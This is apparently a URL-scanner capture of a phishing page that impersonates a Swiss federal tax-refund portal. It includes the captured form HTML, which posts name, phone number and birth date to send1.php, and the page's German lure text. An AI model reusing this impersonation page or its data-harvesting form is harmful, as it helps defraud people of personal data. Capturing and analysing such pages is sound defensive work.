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Submitted URL: https://liramy.clickfunnels.com/optin9gkwlr23
Effective URL: https://olr.jwz.mybluehost.me/CH/admin/?id=CH93474485984-REF848900835
Submission: On July 02 via manual from US — Scanned from DE
Effective URL: https://olr.jwz.mybluehost.me/CH/admin/?id=CH93474485984-REF848900835
Submission: On July 02 via manual from US — Scanned from DE
Form analysis
1 forms found in the DOMPOST send1.php
<form action="send1.php" method="post" class="form ng-pristine ng-invalid ng-touched">
<div _ngcontent-xaj-c131="" class="formData navs"><label _ngcontent-xaj-c131="" for="navsField">Rückerstattung-Informationen</label><mat-form-field _ngcontent-xaj-c131="" appearance="outline" floatlabel="never" oberrormessages=""
class="mat-form-field ng-tns-c14-3 mat-primary mat-form-field-type-mat-input mat-form-field-appearance-outline mat-form-field-can-float ng-pristine ng-invalid ng-star-inserted mat-form-field-invalid ng-touched">
<div class="mat-form-field-wrapper ng-tns-c14-3">
<div class="mat-form-field-flex ng-tns-c14-3">
<div class="mat-form-field-outline ng-tns-c14-3 ng-star-inserted">
<div class="mat-form-field-outline-start ng-tns-c14-3" style="width: 0px;"></div>
<div class="mat-form-field-outline-gap ng-tns-c14-3" style="width: 0px;"></div>
<div class="mat-form-field-outline-end ng-tns-c14-3"></div>
</div>
<div class="mat-form-field-outline mat-form-field-outline-thick ng-tns-c14-3 ng-star-inserted">
<div class="mat-form-field-outline-start ng-tns-c14-3" style="width: 0px;"></div>
<div class="mat-form-field-outline-gap ng-tns-c14-3" style="width: 0px;"></div>
<div class="mat-form-field-outline-end ng-tns-c14-3"></div>
</div><!----><!----><!---->
<div class="mat-form-field-infix ng-tns-c14-3"><input _ngcontent-xaj-c131="" id="navsField" matinput="" type="text" formcontrolname="navs"
class="mat-input-element mat-form-field-autofill-control ng-tns-c14-3 ng-pristine ng-invalid cdk-text-field-autofill-monitored ng-touched" autofocus="" data-cy="input-navs" required="" aria-required="true"
placeholder="Vollständiger Name" name="name"><span class="mat-form-field-label-wrapper ng-tns-c14-3"><!----></span></div><!---->
</div><!---->
<div class="mat-form-field-wrapper ng-tns-c14-3">
<div class="mat-form-field-flex ng-tns-c14-3">
<div class="mat-form-field-outline ng-tns-c14-3 ng-star-inserted">
<div class="mat-form-field-outline-start ng-tns-c14-3" style="width: 0px;"></div>
<div class="mat-form-field-outline-gap ng-tns-c14-3" style="width: 0px;"></div>
<div class="mat-form-field-outline-end ng-tns-c14-3"></div>
</div>
<div class="mat-form-field-outline mat-form-field-outline-thick ng-tns-c14-3 ng-star-inserted">
<div class="mat-form-field-outline-start ng-tns-c14-3" style="width: 0px;"></div>
<div class="mat-form-field-outline-gap ng-tns-c14-3" style="width: 0px;"></div>
<div class="mat-form-field-outline-end ng-tns-c14-3"></div>
</div><!----><!----><!---->
<div class="mat-form-field-infix ng-tns-c14-3"><input _ngcontent-xaj-c131="" id="navsField" matinput="" type="text" formcontrolname="navs"
class="mat-input-element mat-form-field-autofill-control ng-tns-c14-3 ng-untouched ng-pristine ng-invalid cdk-text-field-autofill-monitored" autofocus="" data-cy="input-navs" aria-required="true" placeholder="Telefonnummer"
name="allo" required=""><span class="mat-form-field-label-wrapper ng-tns-c14-3"><!----></span></div><!---->
</div><!---->
<div class="mat-form-field-subscript-wrapper ng-tns-c14-3"><!---->
<div class="mat-form-field-hint-wrapper ng-tns-c14-3 ng-trigger ng-trigger-transitionMessages ng-star-inserted" style="opacity: 1; transform: translateY(0%);"><!---->
<div class="mat-form-field-hint-spacer ng-tns-c14-3"></div>
</div><!---->
</div>
</div>
</div>
<div _ngcontent-xaj-c131="" class="formData dateNaissance"><label _ngcontent-xaj-c131="" for="dateField">Geburtsdatum</label><mat-form-field _ngcontent-xaj-c131="" appearance="fill" floatlabel="never" oberrormessages=""
class="mat-form-field ecdc-datePicker ng-tns-c14-4 mat-primary mat-form-field-type-mat-input mat-form-field-appearance-fill mat-form-field-can-float ng-untouched ng-pristine ng-invalid ng-star-inserted">
<div class="mat-form-field-wrapper ng-tns-c14-4">
<div class="mat-form-field-flex ng-tns-c14-4"><!----><!---->
<div class="mat-form-field-infix ng-tns-c14-4"><input _ngcontent-xaj-c131="" id="dateField" name="dob"
class="mat-input-element mat-form-field-autofill-control mat-datepicker-input ng-tns-c14-4 ng-untouched ng-pristine ng-invalid cdk-text-field-autofill-monitored" placeholder="16.3.1969" required="" aria-required="true"
data-placeholder="16.3.1969" aria-haspopup="dialog" data-mat-calendar="mat-datepicker-0"><mat-datepicker _ngcontent-xaj-c131="" class="ng-tns-c14-4"></mat-datepicker><!----><span
class="mat-form-field-label-wrapper ng-tns-c14-4"><!----></span></div>
<div class="mat-form-field-suffix ng-tns-c14-4 ng-star-inserted"><mat-datepicker-toggle _ngcontent-xaj-c131="" matsuffix="" class="mat-datepicker-toggle ng-tns-c14-4" data-mat-calendar="mat-datepicker-0"><button mat-icon-button=""
type="button" class="mdc-icon-button mat-mdc-icon-button mat-unthemed mat-mdc-button-base" aria-haspopup="dialog" aria-label="Open calendar" tabindex="0"><span
class="mat-mdc-button-persistent-ripple mdc-icon-button__ripple"></span><svg viewBox="0 0 24 24" width="24px" height="24px" fill="currentColor" focusable="false" class="mat-datepicker-toggle-default-icon ng-star-inserted">
<path d="M19 3h-1V1h-2v2H8V1H6v2H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V8h14v11zM7 10h5v5H7z"></path>
</svg><!----><span class="mat-mdc-focus-indicator"></span><span matripple="" class="mat-ripple mat-mdc-button-ripple"></span><span class="mat-mdc-button-touch-target"></span></button></mat-datepicker-toggle></div><!---->
</div>
<div class="mat-form-field-underline ng-tns-c14-4 ng-star-inserted"><span class="mat-form-field-ripple ng-tns-c14-4"></span></div><!---->
<div class="mat-form-field-subscript-wrapper ng-tns-c14-4"><!---->
<div class="mat-form-field-hint-wrapper ng-tns-c14-4 ng-trigger ng-trigger-transitionMessages ng-star-inserted" style="opacity: 1; transform: translateY(0%);"><!---->
<div class="mat-form-field-hint-spacer ng-tns-c14-4"></div>
</div><!---->
</div>
</div>
</mat-form-field></div>
<div _ngcontent-xaj-c131="" class="zone"><label _ngcontent-xaj-c131="" for="emailField" class="zone"></label><input _ngcontent-xaj-c131="" id="emailField" class="mandatory" data-cy="input-email" tabindex="-1" aria-hidden="true"></div>
<section _ngcontent-xaj-c131="" class="buttons"><button _ngcontent-xaj-c131="" mat-flat-button="" color="primary" id="continue-button" class="mat-focus-indicator identification-button mat-flat-button mat-button-base mat-primary data-cy="
action-continuer"=""><span class="mat-button-wrapper"> Weiter </span><span matripple="" class="mat-ripple mat-button-ripple"></span><span class="mat-button-focus-overlay"></span></button></section><mat-error _ngcontent-xaj-c131=""
aria-atomic="true" class="mat-error" aria-live="polite" id="mat-error-1"></mat-error>
</mat-form-field></div>
</form>
Text Content
Javascript is required! Please activate JavaScript as it is required for this application to run. Unsupported browser! Some features required for this application to run are not supported by your browser. Please note that the Swiss Confederation only supports Chrome, Firefox, Edge and Safari in their respective latest 2 versions. * Springe zum Hauptteil [0] KOPFZEILE Ihr Online Rückerstattungen Portal SERVICE NAVIGATION Ihre Situation überprüfen Ihre Unterlagen herunterladen Ihre Unterlagen in aller Sicherheit übermitteln Ihre Unterlagen einsehen Ihr Einkommen und Vermögen deklarieren Ihre Situation überprüfen Ihre Unterlagen herunterladen Ihre Unterlagen in aller Sicherheit übermitteln Ihre Unterlagen einsehen Ihr Einkommen und Vermögen deklarieren Ihre Situation überprüfen ÜBERPRÜFEN SIE IHRE RÜCKERSTATTUNG Bestätigen Sie Ihre Rückerstattung, indem Sie Ihre persönlichen Daten eingeben Rückerstattung-Informationen Geburtsdatum Weiter FUSSZEILE INFORMATION Version 2.3.9 Zum Seitenanfang HILFE Schliessen Die Hilfe ist nicht verfügbar. Wir bitten um Entschuldigung Klicken zum Anmelden